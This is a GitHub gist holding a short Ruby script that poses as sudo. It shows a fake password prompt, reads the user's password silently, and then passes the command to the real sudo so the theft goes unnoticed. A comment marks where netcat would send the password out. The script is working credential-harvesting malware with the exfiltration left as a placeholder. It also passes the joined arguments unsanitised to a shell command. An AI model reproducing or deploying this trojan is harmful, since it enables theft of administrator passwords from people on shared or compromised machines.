Last active
June 6, 2016 05:45
-
-
Save 0x1F602/1dda6e2461f362ef1196 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'io/console' | |
if ARGV.empty? | |
# show help info | |
system("/usr/bin/sudo") | |
else | |
username = ENV['USER'] | |
print "[sudo] password for #{username}: " | |
password = STDIN.noecho(&:gets).chomp | |
puts "" | |
# netcat goes here | |
args = ARGV.join(" ") | |
system("/usr/bin/sudo #{args}") | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment